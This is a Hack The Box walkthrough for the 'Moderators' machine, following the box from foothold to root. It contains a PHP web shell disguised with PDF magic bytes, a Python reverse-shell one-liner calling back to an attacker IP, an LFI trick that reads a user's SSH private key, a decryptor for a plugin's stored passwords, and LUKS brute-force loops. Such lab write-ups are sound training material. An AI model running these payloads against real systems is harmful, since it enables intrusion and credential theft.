Moderators — Hackthebox Walkthrough

Kavishka Gihan
13 min readNov 5, 2022

--

Moderators is a hard-difficultly Linux machine, also my 4th box in hackthebox which features a webserver running on port 80 and an SSH server on port 22. Enumerating the website, we can see a blog page that lists blog posts about some common vulnerabilities this company have found including their reports. We get access to a hidden report that points us to a directory with log files. Looking at the log files, we find a webpage that allows us to upload files. With this, we get a shell on the box by uploading a PHP file. For the user, we find a Wordpress site running locally which has a vulnerable plugin installed. By exploiting it in an unique way, we get command execution as the lexi user. Then we exploit a python script that has sudo permissions set. to get to the next user. For the root part, we crack a encrypted disk images of a Virtual box VM including a LUKS encrypted volume.

Foothold

Nmap reveals two open ports, port 80 which is the webserver and port 22 which is the SSH server. Visiting port 80 shows a home page of a website.

nmap -p- 192.168.1.4

Looking at the website, there is a service page that includes some services provided by the company. Also by looking at the page source we can see a link to file called form-template.pdf. But it gives us not found.

This hints us about **PDF files**. Maybe there are PDF files that we can view. Moving forward, we can see there is a blog.php page where we can see some blog posts including their reports. When we visit the link for the report, we land on reports.php page. There is a parameter called “report” which seems to specify the ID of the report.

We have access to 3 reports with IDs of 3478, 8121 and 4221. Since all the visible posts don’t have a report link available, we can try and fuzz the report parameter to see if there are any other reports we can view. For that we can make a list of numbers from 1111 to 9999 (by looking at the available report IDs)

seq 1111 9999 > id_list

Then we can use ffuf utility to fuzz the parameter.

ffuf -u 'http://192.168.1.4/reports.php?report=FUZZ' -w id_list -fw 3035

We can see there are 3 new reports IDs that we didn’t see before. But when trying to visit these pages, we are asked for credentials.

Trying default credentials like admin:password and admin:admin didn’t give anything. Since this is saying about “admin login”, we can try and bruteforce the password for the admin user. Looking at the request, we can see HTTP authentication is used so, we have to base64 encode the credentials according to the username:password format.

for i in `cat /usr/share/wordlists/fasttrack.txt`; do echo -n admin:$i|base64;done > wordlist

Then we use ffuf to bruteforce the password.

ffuf -u 'http://192.168.1.4/reports.php?report=9798' -H 'Authorization: Basic FUZZ' -w wordlist -fc 401

After decoding, we can see the password is 123456.

echo YWRtaW46MTIzNDU2|base64 -d  # admin:123456

After logging in with these credentials, we see the report mentions about a log file inside /logs/e21cece511f43a5cb18d4932429915ed/ directory.

Visiting that page gives us nothing. But if you recall, there was a PDF file in the service.php which gave us 404. Keeping that in mind we can try and fuzz this directory for PDF files.

ffuf -u 'http://192.168.1.4/logs/e21cece511f43a5cb18d4932429915ed/FUZZ' -w /usr/share/wordlists/dirb/common.txt -e .pdf

As you can see, we have a 200 OK on logs.pdf file. But the file is empty.

Looking at the URL, that random string value seems to look like some sort of a hash. We can try to see if we can decrypt it. https://crackstation.net/

And yes we can. Decrypted value is the MD5 hash of the report ID. So we can try to see if we have access to the log files of other reports. For that, first, we have to get the MD5 hashes of available report IDs.

#!/usr/bin/python3  
import hashlib
# List of IDs
ID_list = [8121, 4221, 3478, 7612, 2589, 9798]
for ID in ID_list:
# Hashing the IDs
result = hashlib.md5(str(ID).encode())
print(result.hexdigest())

Visiting /logs/743c41a921516b04afde48bb48e28ce6/logs.pdf , we get the log file of report 2589. And this includes a page called /logs/report_log_upload.php that allows us to upload files.

When we try to upload a file, we get an error saying “Only PDF files are allowed”.

By using the basic file upload bypass techniques we can bypass this.
- Setting the MIME type to application/pdf.
- Using .pdf.php extension to bypass file extension checks.
- Including the MAGIC bytes of PDF files at the beginning of the PDF file to bypass any signature checks.

%PDF-<?php system('id'); ?>

Guessing if a /uploads directory exists doesn’t give us a 404. But when we execute the php script, it dosen’t show anything.

Maybe the dangerous functions like the system are disabled. With a little bit of trial and error, and with some help from Google we can find out that the popen() function works fine.
- https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass
- https://www.geeksforgeeks.org/php-popen-function/

%PDF-<?php echo fread(popen($_GET['kavigihan'], "r"), 4096); ?>

Uploading this and executing “id “ command confirms that we have Command Execution.

We can start a listener and get a reverse shell with this payload.

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.7",9090));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

User

Looking at the open ports we see port 3306 and 8080 are open.

By curling port 8080, you can see that this is a website made with Wordpress. And looking at the processes we can confirm that lexi user is running it.

ps aux|grep 127.0.0.1:8080

Seeing around the file system, we can see the Wordpress installation from ``/opt/site.new``. After, we look at the installed plugins.

ls -la /opt/site.new/wp-content/plugins

Here we can see the brandfolder plugin is installed which is vulnerable to a LFI/RFI vulnerability.
- https://www.exploit-db.com/exploits/39591

According to the article, when we try to include files it doesn’t work.

curl -s 'http://127.0.0.1:8080/wp-content/plugins/brandfolder/callback.php?wp_abspath=../../../wp-config.php%00'

If you look at the exploit, it states that this was tested on Windows, not on Linux. Also, using NULL bytes (%00) to include line ends only works in specific versions of PHP.

But if we analyze the source code of the vulnerable PHP file, we can see that the vulnerability lies as the unsanitized input is used in a require_once() function.

Our user input is concatenated with “wp-load.php” and passed to the function. Therefore, we can exploit this by making a PHP file named “wp-load.php” in a directory where we have write access to, for example /dev/shm and specifying the /dev/shm/ as the value for the “wp_abspath” parameter. This will include /dev/shm/wp-load.php file allowing us to execute PHP code.

echo '<?php echo fread(popen("id", "r"), 4096); ?>' > /dev/shm/wp-load.phpcurl -s 'http://127.0.0.1:8080/wp-content/plugins/brandfolder/callback.php?wp_abspath=/dev/shm/'
echo '<?php echo fread(popen("cat /home/lexi/.ssh/id_rsa", "r"), 4096); ?>' > /dev/shm/wp-load.php

With this we can get the private key of the lexi user and SSH in.

Doing some more enumeration, we can see we have the credentials to access the WordPress database in the wp-config.php file.

cat /opt/site.new/wp-config.php

Even we have access to the password hashes of the users on WordPress, we are not able to crack them.

We saw the plugins installed in the WordPress site earlier. There is a plugin called “passwords-manager” in there as well.

With a bit of googling, we see that this is used to store passwords in the WordPress site.
- https://wordpress.org/plugins/passwords-manager/

Since this sounds interesting, we can see if we can have access to those passwords. For that, we have to find out where the passwords are stored.

Reading through the description of the plugin, we see that the passwords and encrypted with an encryption key using AES.

Therefore, first, we have to find the key in order to decrypt the encrypted passwords. Looking at the files of the plugin, we can see that it has mentioned this key in `/opt/site.new/wp-content/plugins/passwords-manager/inc/pms-recs-action.php` file.

It seems the key is stored as “pms_encrypt_key”. We can see that this exists in the ‘“wp_option” table. And we can see what the key is.

select option_value from wp_options where option_name = 'pms_encrypt_key';

Now we have to see if there are any encrypted passwords that we can decrypt using this key.

Looking at the tables again, we see a table named “wp_pms_passwords”.

From there we can get the encrypted passwords.

select * from wp_pms_passwords;

And we see there is a password named, “SSH key” which probably is the SSH key of the john user. But it’s encrypted.

Since we have the key, now we can decrypt the password. But before that, we have to see how the encryption happens and create a script to decrypt the passwords.

Looking at the files in the plugin, we can see the file that handles encryption as /opt/site.new/wp-content/plugins/passwords-manager/inc/encryption.php.

Here we can see how the decryption happens. With this, we can create proper script to decrypt the encrypted password.

<?phpclass Encryption
{
protected $encryptMethod = 'AES-256-CBC';
public function decrypt($encryptedString, $key)
{
$json = json_decode(base64_decode($encryptedString), true);
try {
$salt = hex2bin($json["salt"]);
$iv = hex2bin($json["iv"]);
} catch (Exception $e) {
return null;
}
$cipherText = base64_decode($json['ciphertext']);$iterations = intval(abs($json['iterations']));
if ($iterations <= 0) {
$iterations = 999;
}
$hashKey = hash_pbkdf2('sha512', $key, $salt, $iterations, ($this->encryptMethodLength() / 4));
unset($iterations, $json, $salt);
$decrypted= openssl_decrypt($cipherText , $this->encryptMethod, hex2bin($hashKey), OPENSSL_RAW_DATA, $iv);
unset($cipherText, $hashKey, $iv);
return $decrypted;
}
protected function encryptMethodLength()
{
$number = filter_var($this->encryptMethod, FILTER_SANITIZE_NUMBER_INT);
return intval(abs($number));
}
}
$e = new Encryption();
$c = '';
$d = $e->decrypt($c, '(@McEXk%HU#{/R3s');
echo $d;
?>

After setting “$c” to the encrypted password, we can run it and get the SSH key of the john user.

With a little bit of formatting, we can get the key in the right format and ssh in as john.

echo '-----BEGIN OPENSSH PRIVATE KEY-----';php decrypt.php|sed 's/ /\n/g'|grep -v OPEN|tail -n+4|head -n-3;echo '-----END OPENSSH PRIVATE KEY-----'

Root

Looking at the john user’s home, we can see that there some VDI(Virtual Disk Image) files in /home/john/saved directory. When we run “file” against the files we can see they are Virtual Box disk Images.

file 2019.vdi

So we can attach this to a Virtual box VM and see what this drive contains. If you don’t have Virtual box installed, you can use a tool called vdfuse that allows to mount VDI files in Linux.

scp 2019.vdi kali@192.168.1.7:/home/kali

After copying the VDI file and attaching it to a VM, when we start the VM we are asked for a password.

With the title of the window we can see that this disk is encrypted. So we have to bruteforce the password to decrypt this.
- http://www.sinfocol.org/2015/07/virtualbox-disk-image-encryption-password-cracker/

Above article talks about how to crack Virtual box disk encryption. With a little bit of googling we can find out about pyvboxdie-cracker which allows us to bruteforce the passwords of encrypted Virtual box VMs.

But for this to work we have to get the .vbox file of the VM which contains the password hash. Looking at the john’s home directory again, we can see there is a VBOX directory which includes the .vbox files.

After copying the required file, we can start brute forcing the password.

python3 pyvboxdie-cracker.py -v 2019-08-01.vbox -d /usr/share/wordlists/rockyou.txt

After couple of minutes, we can see the cracked password as diamond1

After specifying this as the password and starting the VM, now we can try to mount the drive. But when we try mount it, we get an error.

mount /dev/sdb /mnt

From this error we can see that this VDI is also encrypted with LUKS encryption. We can verify that by using the “file” command as well. But before that, we have to copy the drive to a file so that it’s easier to work with. We can use “dd” for that.

dd if=/dev/sdb of=disk
file disk

To be able to mount this, we have to crack the LUKS password. But if we look closely, we see that this is LUKS version 2 encryption, therefore we can’t use hashcat or john to crack this as neither of them support LUKS version 2.
- https://diverto.github.io/2019/11/18/Cracking-LUKS-passphrases

This article goes over what LUKS is and different methods how it can be cracked. This also shows about newer cracking methods that we can use to crack LUKS version 2 encryption.

As mentioned in the article, we can use cryptsetup to check for a test password.

echo "test" | cryptsetup --test-passphrase open disk

This errors out saying “No key available with this passphrase”. Since we have a way to test a password, we can use this to bruteforce the password. But if you notice, this method is very slow. Running this through a wordlist like rockyou will take forever.

Nevertheless, if you look at the /exp directory in the john’s home directory, you can see some **chat exports**. From the 2021–09–19.exp file, we can know that the john user used to use weak passwords.

So there maybe a chance that this password not being very complex. Therefore we can try a small wordlist such as Seclists’s darweb2017-top100.txt or 10-million-passowrd-list-top-500.txt.

We can use this as an one-liner or a script to bruteforce the password.

for p in `cat /usr/share/wordlists/SecLists/Passwords/darkweb2017-top100.txt`;do echo '[-] Trying... ' $p;re=$(
echo $p| cryptsetup --verbose --test-passphrase open disk 2> /dev/null);if [ "$re" == *"Command successful"* ];then echo '[+] Password found :' $p;break;fi;done

for p in `cat /usr/share/wordlists/SecLists/Passwords/darkweb2017-top100.txt`;
do
echo '[-] Trying... ' $p;
re=$(echo $p | cryptsetup --verbose --test-passphrase open disk 2>/dev/null);
if [ "$re" == *"Command successful"* ];
then echo '[+] Password found :' $p;
break;
fi;
done

After a couple of tries we can get the password as abcd1234

Now we can decrypt(usually said Open) the LUKS encrypted disk with this password and mount it.

cryptsetup luksOpen disk Volumemount /dev/mapper/Volume /mnt

Looking at the /mnt directory we can see there is a script directory just like we saw in the john’s home directory. Inside that, we can see a bunch of files. Grepping these for common words such “password” and “key” will give us a password inside the **distro-update.sh** file.

grep -R 'password\|passwd\|pswd\|secret\|key\|passwd'

We can look to see if this is the password of the john user.

sudo -l # $_THE_best_Sysadmin_Ever_

Also we can see that the “john” user can run /bin/bash as root. So we can just use this password and get to a root shell.

I am very grateful for everyone who gave me not just positive but also negative feedback on the box as that really does help to improve myself!

Contact me through social media:

Email — iamkavigihan@gmail.com
Instagram —
https://www.instagram.com/_kavi.gihan/
Discord — kavigihan#8518

Happy Hacking !!! 😄

--

--

Kavishka Gihan

Cyber Security Student | Machine author @hackthebox | find me on instagram @_kavi.gihan